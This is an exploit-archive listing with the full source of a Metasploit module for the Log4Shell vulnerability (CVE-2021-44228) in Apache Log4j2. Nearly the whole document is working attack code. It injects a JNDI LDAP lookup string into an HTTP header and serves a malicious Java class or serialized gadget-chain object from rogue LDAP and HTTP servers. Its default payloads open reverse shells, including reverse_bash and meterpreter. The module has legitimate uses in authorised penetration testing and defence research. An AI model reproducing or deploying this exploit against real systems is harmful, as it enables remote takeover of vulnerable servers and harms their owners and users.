Log4Shell HTTP Header Injection

2022.01.12
Credit: sinn3r
Risk: High
Local: No
Remote: Yes
CWE: CWE-502


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::JavaDeserialization include Msf::Exploit::Java include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::LDAP::Server include Msf::Exploit::Remote::CheckModule prepend Msf::Exploit::Remote::AutoCheck def initialize(_info = {}) super( 'Name' => 'Log4Shell HTTP Header Injection', 'Description' => %q{ Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration, log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints. This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that will trigger an LDAP connection to Metasploit and load a payload. The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP server in addition to the LDAP server that the target can connect to. The targeted application must have the trusted code base option enabled for this technique to work. The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option. }, 'Author' => [ 'Michael Schierl', # Technical guidance, examples, and patience - all of the Jedi stuff 'juan vazquez', # 2011-3544 building blocks reused in this module 'sinn3r', # 2011-3544 building blocks reused in this module 'Spencer McIntyre', # Kickoff on 2021-44228 work, improvements, and polish required for formal acceptance 'RageLtMan <rageltman[at]sempervictus>' # Metasploit module and infrastructure ], 'References' => [ [ 'CVE', '2021-44228' ], ], 'DisclosureDate' => '2021-12-09', 'License' => MSF_LICENSE, 'DefaultOptions' => { 'SRVPORT' => 389, 'WfsDelay' => 30, 'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner' }, 'Targets' => [ [ 'Automatic', { 'Platform' => 'java', 'Arch' => [ARCH_JAVA], 'RemoteLoad' => true, 'DefaultOptions' => { 'PAYLOAD' => 'java/shell_reverse_tcp' } } ], [ 'Windows', { 'Platform' => 'win', 'RemoteLoad' => false, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } }, ], [ 'Linux', { 'Platform' => 'unix', 'RemoteLoad' => false, 'Arch' => [ARCH_CMD], 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }, ] ], 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'AKA' => ['Log4Shell', 'LogJam'], 'Reliability' => [REPEATABLE_SESSION], 'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ] }, 'Stance' => Msf::Exploit::Stance::Aggressive ) register_options([ OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]), OptString.new('TARGETURI', [ true, 'The URI to scan', '/']), OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]), OptEnum.new('JAVA_GADGET_CHAIN', [ true, 'The ysoserial payload to use for deserialization', 'CommonsBeanutils1', Msf::Util::JavaDeserialization.ysoserial_payload_names ], conditions: %w[TARGET != Automatic]), OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]), OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true]) ]) end def check validate_configuration! # set these scanner options as appropriate based on the config datastore['URIS_FILE'] = nil if !datastore['HTTP_HEADER'].blank? datastore['HEADERS_FILE'] = nil end @checkcode = super end def jndi_string "${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}" end def resource_url_string "http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}" end # # Use Ruby Java bridge to create a Java-natively-serialized object # # @return [String] Marshalled serialized byteArray of the loader class def byte_array_payload(pay_class = 'metasploit.PayloadFactory') jar = generate_payload.encoded_jar serialized_class_from_jar(jar, pay_class) end # # Insert PayloadFactory in Java payload JAR # # @param jar [Rex::Zip::Jar] payload JAR to update # @return [Rex::Zip::Jar] updated payload JAR def inject_jar_payload_factory(jar = generate_payload.encoded_jar) # From exploits/multi/browser/java_rhino - should probably go to lib paths = [ [ 'metasploit/PayloadFactory.class' ] ] paths.each do |path| 1.upto(path.length - 1) do |idx| full = path[0, idx].join('/') + '/' jar.add_file(full, '') unless jar.entries.map(&:name).include?(full) end File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd| data = fd.read(fd.stat.size) jar.add_file(path.join('/'), data) end end jar end # # Generate and serialize the payload as an LDAP search response # # @param msg_id [Integer] LDAP message identifier # @param base_dn [Sting] LDAP distinguished name # # @return [Array] packed BER sequence def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory') if target['RemoteLoad'] attrs = [ [ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence, [ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence, [ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence, [ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence, ] else java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload) # vprint_good("Serialized java payload: #{java_payload}") attrs = [ [ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence, [ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence ] end appseq = [ base_dn.to_ber, attrs.to_ber_sequence ].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData) [ msg_id.to_ber, appseq ].to_ber_sequence end ## LDAP service callbacks # # Handle incoming requests via service mixin # def on_dispatch_request(client, data) return if data.strip.empty? data.extend(Net::BER::Extensions::String) begin pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax)) vprint_status("LDAP request data remaining: #{data}") unless data.empty? resp = case pdu.app_tag when Net::LDAP::PDU::BindRequest # bind request client.authenticated = true service.encode_ldap_response( pdu.message_id, Net::LDAP::ResultCodeSuccess, '', '', Net::LDAP::PDU::BindResult ) when Net::LDAP::PDU::SearchRequest # search request if client.authenticated || datastore['LDAP_AUTH_BYPASS'] client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object])) service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult) else service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult) end else vprint_status("Client sent unexpected request #{pdu.app_tag}") client.close end resp.nil? ? client.close : on_send_response(client, resp) rescue StandardError => e print_error("Failed to handle LDAP request due to #{e}") client.close end resp end ## HTTP service callbacks # # Handle HTTP requests and responses # def on_request_uri(cli, request) agent = request.headers['User-Agent'] vprint_good("Payload requested by #{cli.peerhost} using #{agent}") pay = regenerate_payload(cli) jar = inject_jar_payload_factory(pay.encoded_jar) send_response(cli, 200, 'OK', jar) end # # Create an HTTP response and then send it # def send_response(cli, code, message = 'OK', html = '') proto = Rex::Proto::Http::DefaultProtocol res = Rex::Proto::Http::Response.new(code, message, proto) res['Content-Type'] = 'application/java-archive' res.body = html cli.send_response(res) end def exploit validate_configuration! if datastore['HTTP_HEADER'].blank? targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first http_header = targetinfo[:headers].keys.first if targetinfo fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header print_good("Automatically identified vulnerable header: #{http_header}") else http_header = datastore['HTTP_HEADER'] end # LDAP service start_service # HTTP service start_http_service if target['RemoteLoad'] # HTTP request initiator send_request_raw( 'uri' => normalize_uri(target_uri), 'method' => datastore['HTTP_METHOD'], 'headers' => { http_header => jndi_string } ) sleep(datastore['WfsDelay']) handler ensure cleanup end # # Kill HTTP & LDAP services (shut them down and clear resources) # def cleanup # Clean and stop HTTP server if @http_service begin @http_service.remove_resource(datastore['URIPATH']) @http_service.deref @http_service.stop @http_service = nil rescue StandardError => e print_error("Failed to stop http server due to #{e}") end end super end private # Boilerplate HTTP service code # # Returns the configured (or random, if not configured) URI path # def resource_uri path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar' path = '/' + path if path !~ %r{^/} if path !~ /\.jar$/ print_status("Appending .jar extension to #{path} as we don't yet serve classpaths") path += '.jar' end datastore['URIPATH'] = path return path end # # Handle the HTTP request and return a response. Code borrowed from: # msf/core/exploit/http/server.rb # def start_http_service(opts = {}) comm = datastore['ListenerComm'] if (comm.to_s == 'local') comm = ::Rex::Socket::Comm::Local else comm = nil end # Default the server host / port opts = { 'ServerHost' => datastore['SRVHOST'], 'ServerPort' => datastore['HTTP_SRVPORT'], 'Comm' => comm }.update(opts) # Start a new HTTP server @http_service = Rex::ServiceManager.start( Rex::Proto::Http::Server, opts['ServerPort'].to_i, opts['ServerHost'], datastore['SSL'], { 'Msf' => framework, 'MsfExploit' => self }, opts['Comm'], datastore['SSLCert'] ) @http_service.server_name = datastore['HTTP::server_name'] # Default the procedure of the URI to on_request_uri if one isn't # provided. uopts = { 'Proc' => method(:on_request_uri), 'Path' => resource_uri }.update(opts['Uri'] || {}) proto = (datastore['SSL'] ? 'https' : 'http') print_status("Serving Java code on: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}") if (opts['ServerHost'] == '0.0.0.0') print_status(" Local IP: #{proto}://#{Rex::Socket.source_address}:#{opts['ServerPort']}#{uopts['Path']}") end # Add path to resource @service_path = uopts['Path'] @http_service.add_resource(uopts['Path'], uopts) end def validate_configuration! fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST']) if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck'] fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.') end end end


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